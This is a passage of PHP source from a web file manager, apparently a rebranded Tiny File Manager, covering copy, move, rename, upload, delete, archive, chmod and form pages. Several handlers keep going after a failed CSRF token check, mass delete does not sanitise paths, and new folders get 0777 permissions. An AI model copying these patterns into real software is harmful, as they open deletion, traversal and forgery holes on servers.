    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' && is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            // workaround https://bugs.php.net/bug.php?id=81145
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Pack files zip, tar
if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

/*************************** ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="https://github.com" target="_blank" class="app-v-title"> Manager <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
